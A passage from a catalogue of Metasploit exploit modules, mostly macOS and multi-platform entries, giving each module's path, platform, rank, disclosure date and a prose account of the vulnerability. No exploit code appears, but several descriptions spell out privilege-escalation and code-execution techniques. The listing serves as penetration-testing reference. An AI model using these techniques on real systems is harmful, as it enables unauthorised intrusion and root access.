  Both web requests (i.e., the .sct file and PowerShell download/
execute)
  can occur on the same port.

  The SyncAppvPublishingServer target uses
SyncAppvPublishingServer.exe
  Microsoft signed binary to request and execute a PowerShell script.
This
  technique only works on Windows 10 builds <= 1709.

  "PSH (Binary)" will write a file to the disk, allowing for custom
binaries
  to be served up to be downloaded and executed.

End Exploit Number 964

Begin Exploit Number 965
       Name: SSH User Code Execution
     Module: exploit/multi/ssh/sshexec
   Platform: Linux, OSX, Unix, Python, BSD
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 1999-01-01

Payload information:
  Space: 800000
  Avoid: 0 characters

Description:
  This module connects to the target system and executes the necessary
  commands to run the specified payload via SSH. If a native payload
is
  specified, an appropriate stager will be used.

End Exploit Number 965

Begin Exploit Number 966
       Name: Subversion Date Svnserve
     Module: exploit/multi/svn/svnserve_date
   Platform: BSD, Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-05-19

Payload information:
  Space: 500
  Avoid: 7 characters

Description:
  This is an exploit for the Subversion date parsing overflow.  This
  exploit is for the svnserve daemon (svn:// protocol) and will not
work
  for Subversion over webdav (http[s]://).  This exploit should never
  crash the daemon, and should be safe to do multi-hits.

  **WARNING** This exploit seems to (not very often, I've only seen
  it during testing) corrupt the subversion database, so be careful!

End Exploit Number 966

Begin Exploit Number 967
       Name: Portable UPnP SDK unique_service_name() Remote Code
Execution
     Module: exploit/multi/upnp/libupnp_ssdp_overflow
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-29

Payload information:
  Space: 8000
```

```
Description:
  This module exploits a buffer overflow in the unique_service_name()
  function of libupnp's SSDP processor. The libupnp library is used
across
  thousands of devices and is referred to as the Intel SDK for UPnP
  Devices or the Portable SDK for UPnP Devices.

  Due to size limitations on many devices, this exploit uses a
separate TCP
  listener to stage the real payload.

End Exploit Number 967

Begin Exploit Number 968
       Name: Veritas Backup Exec Agent Remote Code Execution
     Module: exploit/multi/veritas/beagent_sha_auth_rce
   Platform: Windows, Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-03-01

Payload information:

Description:
  Veritas Backup Exec Agent supports multiple authentication schemes
and SHA authentication is one of them.
  This authentication scheme is no longer used within Backup Exec
versions, but hadn’t yet been disabled.
  An attacker could remotely exploit the SHA authentication scheme to
gain unauthorized access to
  the BE Agent and execute an arbitrary OS command on the host with NT
AUTHORITY\SYSTEM or root privileges
  depending on the platform.

  The vulnerability presents in 16.x, 20.x and 21.x versions of Backup
Exec up to 21.2 (or up to and
  including Backup Exec Remote Agent revision 9.3)

End Exploit Number 968

Begin Exploit Number 969
       Name: VNC Keyboard Remote Code Execution
     Module: exploit/multi/vnc/vnc_keyboard_exec
   Platform: Windows, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-07-10

Payload information:

Description:
  This module exploits VNC servers by sending virtual keyboard keys
and executing
  a payload. On Windows systems a command prompt is opened and a
PowerShell or CMDStager
  payload is typed and executed. On Unix/Linux systems a xterm
terminal is opened
  and a payload is typed and executed.

End Exploit Number 969

Begin Exploit Number 970
       Name: Tincd Post-Authentication Remote TCP Stack Buffer
Overflow
     Module: exploit/multi/vpn/tincd_bof
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-04-22

Payload information:
  Space: 1675

Description:
  This module exploits a stack buffer overflow in Tinc's tincd
  service. After authentication, a specially crafted tcp packet
(default port 655)
  leads to a buffer overflow and allows to execute arbitrary code.
This module has
  been tested with tinc-1.1pre6 on Windows XP (custom calc payload)
and Windows 7
  (windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the
ports of
  FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The
exploit probably works
  for all versions <= 1.1pre6.
  A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc
4.7.2 seems to
  be a non-exploitable crash due to calls to __memcpy_chk depending on
how tincd
  was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing
this module
  it was recommended to the maintainer to start using DEP/ASLR and
other protection
```

```
  mechanisms.

End Exploit Number 970

Begin Exploit Number 971
       Name: Wyse Rapport Hagent Fake Hserver Command Execution
     Module: exploit/multi/wyse/hagent_untrusted_hsdata
   Platform: Windows, Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-07-10

Payload information:
  Space: 2048
  Avoid: 0 characters

Description:
  This module exploits the Wyse Rapport Hagent service by pretending 
to
  be a legitimate server. This process involves starting both HTTP and
  FTP services on the attacker side, then contacting the Hagent 
service of
  the target and indicating that an update is available. The target 
will
  then download the payload wrapped in an executable from the FTP 
service.

End Exploit Number 971

Begin Exploit Number 972
       Name: Novell NetWare LSASS CIFS.NLM Driver Stack Buffer 
Overflow
     Module: exploit/netware/smb/lsass_cifs
   Platform: Netware
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-01-21

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the NetWare CIFS.NLM 
driver.
  Since the driver runs in the kernel space, a failed exploit attempt
```

```
can
  cause the OS to reboot.

End Exploit Number 972

Begin Exploit Number 973
       Name: NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer
Overflow
     Module: exploit/netware/sunrpc/pkernel_callit
   Platform: Netware
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-09-30

Payload information:
  Space: 2020

Description:
  This module exploits a stack buffer overflow in the NetWare
PKERNEL.NLM driver's CALLIT procedure.
  PKERNEL.NLM is installed by default on all NetWare servers to
support NFS.
  The PKERNEL.NLM module runs in kernel mode so a failed exploit
attempt can
  cause the operating system to reboot.

End Exploit Number 973

Begin Exploit Number 974
       Name: OpenBSD Dynamic Loader chpass Privilege Escalation
     Module: exploit/openbsd/local/dynamic_loader_chpass_privesc
   Platform: BSD, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-11

Payload information:

Description:
  This module exploits a vulnerability in the OpenBSD `ld.so`
  dynamic loader (CVE-2019-19726).

  The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
  environment variable when set with approximately `ARG_MAX` colons.

  This can be abused to load `libutil.so` from an untrusted path,
  using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
  executable, resulting in privileged code execution.

  This module has been tested successfully on:

  OpenBSD 6.1 (amd64); and
  OpenBSD 6.6 (amd64)

End Exploit Number 974

Begin Exploit Number 975
       Name: AppleFileServer LoginExt PathName Overflow
     Module: exploit/osx/afp/loginext
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-05-03

Payload information:
  Space: 512
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in the AppleFileServer 
service
  on MacOS X. This vulnerability was originally reported by Atstake 
and
  was actually one of the few useful advisories ever published by that
  company. You only have one chance to exploit this bug.
  This particular exploit uses a stack-based return address that will
  only work under optimal conditions.

End Exploit Number 975

Begin Exploit Number 976
       Name: Arkeia Backup Client Type 77 Overflow (Mac OS X)
     Module: exploit/osx/arkeia/type77
   Platform: OSX
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-02-18

Payload information:
  Space: 1000
  Avoid: 1 characters
```

```
Description:
  This module exploits a stack buffer overflow in the Arkeia backup
  client for the Mac OS X platform. This vulnerability affects
  all versions up to and including 5.3.3 and has been tested
  with Arkeia 5.3.1 on Mac OS X 10.3.5.

End Exploit Number 976

Begin Exploit Number 977
       Name: Adobe Flash Player DeleteRangeTimelineOperation Type-
Confusion
     Module: exploit/osx/browser/adobe_flash_delete_range_tl_op
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2016-04-27

Payload information:

Description:
  This module exploits a type confusion on Adobe Flash Player, which
was
  originally found being successfully exploited in the wild. This
module
  has been tested successfully on:
    macOS Sierra 10.12.3,
    Safari and Adobe Flash Player 21.0.0.182,
    Firefox and Adobe Flash Player 21.0.0.182.

End Exploit Number 977

Begin Exploit Number 978
       Name: Mozilla Firefox 3.6.16 mChannel Use-After-Free
     Module: exploit/osx/browser/mozilla_mchannel
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-05-10

Payload information:
  Space: 1024

Description:
  This module exploits a use-after-free vulnerability in Mozilla
  Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the
  OnChannelRedirect method of the nsIChannelEventSink Interface.
```

```
mChannel
  becomes a dangling pointer and can be reused when setting the
OBJECTs
  data attribute. This module has been tested on Mac OS X 10.6.6,
10.6.7,
  10.6.8, 10.7.2 and 10.7.3.

End Exploit Number 978

Begin Exploit Number 979
       Name: macOS Gatekeeper check bypass
     Module: exploit/osx/browser/osx_gatekeeper_bypass
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2021-03-25

Payload information:

Description:
  This module exploits two CVEs that bypass Gatekeeper.

  For CVE-2021-30657, this module serves an OSX app (as a zip) that
contains no
  Info.plist, which bypasses gatekeeper in macOS < 11.3.
  If the user visits the site on Safari, the zip file is automatically
extracted,
  and clicking on the downloaded file will automatically launch the
payload.
  If the user visits the site in another browser, the user must click
once to unzip
  the app, and click again in order to execute the payload.

  For CVE-2022-22616, this module serves a gzip-compressed zip file
with its file header pointing
  to the `Contents` directory which contains an OSX app. If the user
downloads the file via Safari,
  Safari will automatically decompress the file, removing its
`com.apple.quarantine` attribute.
  Because of this, the file will not require quarantining, bypassing
Gatekeeper on
  MacOS versions below 12.3.

End Exploit Number 979

Begin Exploit Number 980
       Name: Apple Safari file:// Arbitrary Code Execution
     Module: exploit/osx/browser/safari_file_policy
   Platform: Java, OSX, Unix
       Arch: cmd, java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-10-12

Payload information:
  Avoid: 0 characters

Description:
  This module exploits a vulnerability found in Apple Safari on OS X 
platform.
  A policy issue in the handling of file:// URLs may allow arbitrary 
remote code
  execution under the context of the user.

    In order to trigger arbitrary remote code execution, the best way 
seems to
  be opening a share on the victim machine first (this can be SMB/
WebDav/FTP, or
  a file format that OS X might automount), and then execute it in /
Volumes/[share].
  If there's some kind of bug that leaks the victim machine's current 
username,
  then it's also possible to execute the payload in /Users/[username]/
Downloads/,
  or else bruteforce your way to getting that information.

    Please note that non-java payloads (*.sh extension) might get 
launched by
  Xcode instead of executing it, in that case please try the Java ones 
instead.

End Exploit Number 980

Begin Exploit Number 981
       Name: Safari in Operator Side Effect Exploit
     Module: exploit/osx/browser/safari_in_operator_side_effect
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-03-18

Payload information:

Description:
  This module exploits an incorrect side-effect modeling of the 'in' 
```

```
operator.
  The DFG compiler assumes that the 'in' operator is side-effect free,
however
  the <embed> element with the PDF plugin provides a callback that can
trigger
  side-effects leading to type confusion (CVE-2020-9850).
  The type confusion can be used as addrof and fakeobj primitives that
then
  lead to arbitrary read/write of memory. These primitives allow us to
write
  shellcode into a JIT region (RWX memory) containing the next stage
of the
  exploit.
  The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM
Server,
  and extracts a macOS application containing our payload into /var/
db/CVMS.
  The payload can then be opened with CVE-2020-9801, executing the
payload
  as a user but without sandbox restrictions.

End Exploit Number 981

Begin Exploit Number 982
       Name: Safari Archive Metadata Command Execution
     Module: exploit/osx/browser/safari_metadata_archive
   Platform: Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-02-21

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a vulnerability in Safari's "Safe file"
feature, which will
  automatically open any file with one of the allowed extensions. This
can be abused
  by supplying a zip file, containing a shell script, with a metafile
indicating
  that the file should be opened by Terminal.app. This module depends
on
  the 'zip' command-line utility.

End Exploit Number 982
```

```
Begin Exploit Number 983
       Name: Safari Proxy Object Type Confusion
     Module: exploit/osx/browser/safari_proxy_object_type_confusion
   Platform: OSX
       Arch: python, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-03-15

Payload information:

Description:
  This module exploits a type confusion bug in the Javascript Proxy
object in
  WebKit. The DFG JIT does not take into account that, through the use
of a Proxy,
  it is possible to run arbitrary JS code during the execution of a
CreateThis
  operation. This makes it possible to change the structure of e.g. an
argument
  without causing a bailout, leading to a type confusion
(CVE-2018-4233).

    The JIT region is then replaced with shellcode which loads the
second stage.
  The second stage exploits a logic error in libxpc, which uses
command execution
  via the launchd's "spawn_via_launchd" API (CVE-2018-4404).

End Exploit Number 983

Begin Exploit Number 984
       Name: Safari User-Assisted Applescript Exec Attack
     Module: exploit/osx/browser/safari_user_assisted_applescript_exec
   Platform: Unix, OSX
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2015-10-16

Payload information:

Description:
  In versions of Mac OS X before 10.11.1, the applescript:// URL
  scheme is provided, which opens the provided script in the
Applescript
  Editor. Pressing cmd-R in the Editor executes the code without any
  additional confirmation from the user. By getting the user to press
  cmd-R in Safari, and by hooking the cmd-key keypress event, a user
  can be tricked into running arbitrary Applescript code.

  Gatekeeper should be disabled from Security & Privacy in order to
  avoid the unidentified Developer prompt.

End Exploit Number 984

Begin Exploit Number 985
       Name: Safari User-Assisted Download and Run Attack
     Module: exploit/osx/browser/safari_user_assisted_download_launch
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-03-10

Payload information:

Description:
  This module abuses some Safari functionality to force the download
of a
  zipped .app OSX application containing our payload. The app is then
  invoked using a custom URL scheme. At this point, the user is
presented
  with Gatekeeper's prompt:

  "APP_NAME" is an application downloaded from the internet. Are you
sure you
  want to open it?

  If the user clicks "Open", the app and its payload are executed.

  If the user has the "Only allow applications downloaded from Mac App
Store
  and identified developers (on by default on OS 10.8+), the user will
see
  an error dialog containing "can't be opened because it is from an
unidentified
  developer." To work around this issue, you will need to manually
build and sign
  an OSX app containing your payload with a custom URL handler called
"openurl".

  You can put newlines and unicode in your APP_NAME, although you must
be careful not
  to create a prompt that is too tall, or the user will not be able to
click
  the buttons, and will have to either logout or kill the
```

```
CoreServicesUIAgent
  process.


End Exploit Number 985

Begin Exploit Number 986
       Name: Apple OS X Software Update Command Execution
     Module: exploit/osx/browser/software_update
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-12-17

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a feature in the Distribution Packages,
  which are used in the Apple Software Update mechanism. This feature
  allows for arbitrary command execution through JavaScript. This
exploit
  provides the malicious update server. Requests must be redirected to
  this server by other means for this exploit to work.

End Exploit Number 986

Begin Exploit Number 987
       Name: Mail.app Image Attachment Command Execution
     Module: exploit/osx/email/mailapp_image_exec
   Platform: Unix, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2006-03-01

Payload information:
  Space: 8192
  Avoid: 0 characters

Description:
  This module exploits a command execution vulnerability in the
  Mail.app application shipped with Mac OS X 10.5.0. This flaw was
  patched in 10.4 in March of 2007, but reintroduced into the final
  release of 10.5.

End Exploit Number 987
```

```
Begin Exploit Number 988
       Name: WebSTAR FTP Server USER Overflow
     Module: exploit/osx/ftp/webstar_ftp_user
   Platform: OSX
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-07-13

Payload information:
  Space: 300
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in the logging routine
  of the WebSTAR FTP server. Reliable code execution is
  obtained by a series of hops through the System library.

End Exploit Number 988

Begin Exploit Number 989
       Name: MacOS X EvoCam HTTP GET Buffer Overflow
     Module: exploit/osx/http/evocam_webserver
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2010-06-01

Payload information:
  Space: 300
  Avoid: 9 characters

Description:
  This module exploits a stack buffer overflow in the web server
provided with the EvoCam
  program for Mac OS X. We use Dino Dai Zovi's exec-from-heap
technique to copy the payload
  from the non-executable stack segment to heap memory. Vulnerable
versions include 3.6.6,
  3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8
fixes the vulnerability.

End Exploit Number 989

Begin Exploit Number 990
       Name: Acronis TrueImage XPC Privilege Escalation
     Module: exploit/osx/local/acronis_trueimage_xpc_privesc
   Platform: OSX
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-11

Payload information:

Description:
  Acronis TrueImage versions 2019 update 1 through 2021 update 1
  are vulnerable to privilege escalation. The
`com.acronis.trueimagehelper`
  helper tool does not perform any validation on connecting clients,
  which gives arbitrary clients the ability to execute functions
provided
  by the helper tool with `root` privileges.

End Exploit Number 990

Begin Exploit Number 991
       Name: macOS cfprefsd Arbitrary File Write Local Privilege
Escalation
     Module: exploit/osx/local/cfprefsd_race_condition
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-18

Payload information:

Description:
  This module exploits an arbitrary file write in cfprefsd on macOS <=
10.15.4 in
  order to run a payload as root. The CFPreferencesSetAppValue
function, which is
  reachable from most unsandboxed processes, can be exploited with a
race condition
  in order to overwrite an arbitrary file as root. By overwriting /
etc/pam.d/login
  a user can then login as root with the `login root` command without
a password.

End Exploit Number 991

Begin Exploit Number 992
       Name: Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation
     Module: exploit/osx/local/dyld_print_to_file_root
   Platform: OSX
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-07-21

Payload information:

Description:
  In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment
  variable is used for redirecting logging data to a file instead of
  stderr. Due to a design error, this feature can be abused by a local
  attacker to write arbitrary files as root via restricted, SUID-root
  binaries.

End Exploit Number 992

Begin Exploit Number 993
       Name: Mac OS X Feedback Assistant Race Condition
     Module: exploit/osx/local/feedback_assistant_root
   Platform: OSX, Python, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-13

Payload information:

Description:
  This module exploits a race condition vulnerability in Mac's
Feedback Assistant.
  A successful attempt would result in remote code execution under the
context of
  root.

End Exploit Number 993

Begin Exploit Number 994
       Name: Mac OS X IOKit Keyboard Driver Root Privilege Escalation
     Module: exploit/osx/local/iokit_keyboard_root
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-09-24
```

```
Payload information:

Description:
  A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel
memory
  corruption in Mac OS X before 10.10. By abusing a bug in the
IORegistry, kernel
  pointers can also be leaked, allowing a full kASLR bypass.

  Tested on Mavericks 10.9.5, and should work on previous versions.

  The issue was patched silently in Yosemite.

End Exploit Number 994

Begin Exploit Number 995
       Name: Mac OS X libxpc MITM Privilege Escalation
     Module: exploit/osx/local/libxpc_mitm_ssudo
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-03-15

Payload information:

Description:
  This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
  The task_set_special_port API allows callers to overwrite their
bootstrap port,
  which is used to communicate with launchd. This port is inherited
across forks:
  child processes will use the same bootstrap port as the parent.
  By overwriting the bootstrap port and forking a child processes, we
can now gain
  a MitM position between our child and launchd.

  To gain root we target the sudo binary and intercept its
communication with
  opendirectoryd, which is used by sudo to verify credentials. We
modify the
  replies from opendirectoryd to make it look like our password was
valid.

End Exploit Number 995

Begin Exploit Number 996
       Name: macOS Dirty Cow Arbitrary File Write Local Privilege
Escalation
```

```
     Module: exploit/osx/local/mac_dirty_cow
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-12-17

Payload information:

Description:
  An app may be able to execute arbitrary code with kernel privileges

End Exploit Number 996

Begin Exploit Number 997
       Name: Mac OS X NFS Mount Privilege Escalation Exploit
     Module: exploit/osx/local/nfs_mount_root
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-04-11

Payload information:

Description:
  This exploit leverages a stack buffer overflow vulnerability to
escalate privileges.
  The vulnerable function nfs_convert_old_nfs_args does not verify the
size
  of a user-provided argument before copying it to the stack. As a
result, by
  passing a large size as an argument, a local user can overwrite the
stack with arbitrary
  content.

  Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are
affected.

End Exploit Number 997

Begin Exploit Number 998
       Name: Mac OS X Persistent Payload Installer
     Module: exploit/osx/local/persistence
   Platform: OSX, Python, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2012-04-01

Payload information:

Description:
  This module provides a persistent boot payload by creating a plist
entry
  in current user's ~/Library/LaunchAgents directory. Whenever the
user logs in,
  the LaunchAgent will be invoked and this dropped payload will run.


End Exploit Number 998

Begin Exploit Number 999
       Name: Mac OS X Root Privilege Escalation
     Module: exploit/osx/local/root_no_password
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-11-29

Payload information:

Description:
  This module exploits a serious flaw in MacOSX High Sierra.
  Any user can login with user "root", leaving an empty password.

End Exploit Number 999

Begin Exploit Number 1000
       Name: Apple OS X Rootpipe Privilege Escalation
     Module: exploit/osx/local/rootpipe
   Platform: OSX
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-04-09

Payload information:

Description:
  This module exploits a hidden backdoor API in Apple's Admin
framework on
  Mac OS X to escalate privileges to root, dubbed "Rootpipe."
  This module was tested on Yosemite 10.10.2 and should work on
previous versions.

  The patch for this issue was not backported to older releases.

  Note: you must run this exploit as an admin user to escalate to
root.

End Exploit Number 1000

Begin Exploit Number 1001
       Name: Apple OS X Entitlements Rootpipe Privilege Escalation
     Module: exploit/osx/local/rootpipe_entitlements
   Platform: OSX
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2015-07-01

Payload information:

Description:
  This module exploits the rootpipe vulnerability and bypasses Apple's
initial
  fix for the issue by injecting code into a process with the
'admin.writeconfig'
  entitlement.

End Exploit Number 1001

Begin Exploit Number 1002
       Name: Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege
Escalation
     Module: exploit/osx/local/rsh_libmalloc
   Platform: OSX, Python
       Arch: x64, python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-10-01

Payload information:

Description:
  This module writes to the sudoers file without root access by
exploiting rsh and malloc log files.
  Makes sudo require no password, giving access to su even if root is
disabled.
  Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).
```

```
End Exploit Number 1002

Begin Exploit Number 1003
       Name: Setuid Tunnelblick Privilege Escalation
     Module: exploit/osx/local/setuid_tunnelblick
   Platform: OSX
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-11

Payload information:

Description:
  This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS
X. The
  vulnerability exists in the setuid openvpnstart, where an
insufficient
  validation of path names allows execution of arbitrary shell scripts
as root.
  This module has been tested successfully on Tunnelblick 3.2.8 build
2891.3099
  over Mac OS X 10.7.5.

End Exploit Number 1003

Begin Exploit Number 1004
       Name: Viscosity setuid-set ViscosityHelper Privilege Escalation
     Module: exploit/osx/local/setuid_viscosity
   Platform: OSX
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-12

Payload information:

Description:
  This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X.
The
  vulnerability exists in the setuid ViscosityHelper, where an
insufficient
  validation of path names allows execution of arbitrary python code
as root.
  This module has been tested successfully on Viscosity 1.4.1 over Mac
OS X
  10.7.5.
```

```
End Exploit Number 1004

Begin Exploit Number 1005
       Name: Mac OS X Sudo Password Bypass
     Module: exploit/osx/local/sudo_password_bypass
   Platform: OSX
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-02-28

Payload information:

Description:
  This module gains a session with root permissions on versions of OS 
X with
  sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 
10.7-10.8.4,
  and possibly lower versions.

  If your session belongs to a user with Administrative Privileges
  (the user is in the sudoers file and is in the "admin group"), and 
the
  user has ever run the "sudo" command, it is possible to become the 
super
  user by running `sudo -k` and then resetting the system clock to 
01-01-1970.

  This module will fail silently if the user is not an admin, if the 
user has never
  run the sudo command, or if the admin has locked the Date/Time 
preferences.

  Note: If the user has locked the Date/Time preferences, requests to 
overwrite
  the system clock will be ignored, and the module will silently fail. 
However,
  if the "Require an administrator password to access locked 
preferences" setting
  is not enabled, the Date/Time preferences are often unlocked every 
time the admin
  logs in, so you can install persistence and wait for a chance later.

End Exploit Number 1005

Begin Exploit Number 1006
       Name: Mac OS X TimeMachine (tmdiagnose) Command Injection 
Privilege Escalation
```

```
     Module: exploit/osx/local/timemachine_cmd_injection
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-13

Payload information:

Description:
  This module exploits a command injection in TimeMachine on macOS <= 
10.14.3 in
  order to run a payload as root. The tmdiagnose binary on OSX <= 
10.14.3 suffers
  from a command injection vulnerability that can be exploited by 
creating a
  specially crafted disk label.

    The tmdiagnose binary uses awk to list every mounted volume, and 
composes
  shell commands based on the volume labels. By creating a volume 
label with the
  backtick character, we can have our own binary executed with root 
priviledges.

End Exploit Number 1006

Begin Exploit Number 1007
       Name: Mac OS X "tpwn" Privilege Escalation
     Module: exploit/osx/local/tpwn
   Platform: OSX
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-08-16

Payload information:

Description:
  This module exploits a null pointer dereference in XNU to escalate
  privileges to root.

  Tested on 10.10.4 and 10.10.5.

End Exploit Number 1007

Begin Exploit Number 1008
       Name: OS X VMWare Fusion Privilege Escalation via Bash
```

```
Environment Code Injection (Shellshock)
     Module: exploit/osx/local/vmware_bash_function_root
   Platform: OSX
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-09-24

Payload information:

Description:
  This module exploits the Shellshock vulnerability, a flaw in how the
Bash shell
  handles external environment variables. This module targets the
VMWare Fusion
  application, allowing an unprivileged local user to get root access.

End Exploit Number 1008

Begin Exploit Number 1009
       Name: VMware Fusion USB Arbitrator Setuid Privilege Escalation
     Module: exploit/osx/local/vmware_fusion_lpe
   Platform: OSX
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-17

Payload information:

Description:
  This exploits an improper use of setuid binaries within VMware
Fusion 10.1.3 - 11.5.3.
  The Open VMware USB Arbitrator Service can be launched outide of its
standard path
  which allows loading of an attacker controlled binary.  By creating
a payload in the
  user home directory in a specific folder, and creating a hard link
to the 'Open VMware
  USB Arbitrator Service' binary, we're able to launch it temporarily
to start our payload
  with an effective UID of 0.
  @jeffball55 discovered an incomplete patch in 11.5.3 with a TOCTOU
race.
  Successfully tested against 10.1.6, 11.5.1, 11.5.2, and 11.5.3.

End Exploit Number 1009
```

```
Begin Exploit Number 1010
       Name: Mac OS X mDNSResponder UPnP Location Overflow
     Module: exploit/osx/mdns/upnp_location
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-05-25

Payload information:
  Space: 468
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow that occurs when processing
  specially crafted requests set to mDNSResponder. All Mac OS X 
systems
  between version 10.4 and 10.4.9 (without the 2007-005 patch) are
  affected.

End Exploit Number 1010

Begin Exploit Number 1011
       Name: UFO: Alien Invasion IRC Client Buffer Overflow
     Module: exploit/osx/misc/ufo_ai
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-10-28

Payload information:
  Space: 400
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the IRC client component
  of UFO: Alien Invasion 2.2.1.

End Exploit Number 1011

Begin Exploit Number 1012
       Name: MacOS X QuickTime RTSP Content-Type Overflow
     Module: exploit/osx/rtsp/quicktime_rtsp_content_type
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Average
  Disclosed: 2007-11-23

Payload information:
  Space: 3841
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in Apple
QuickTime
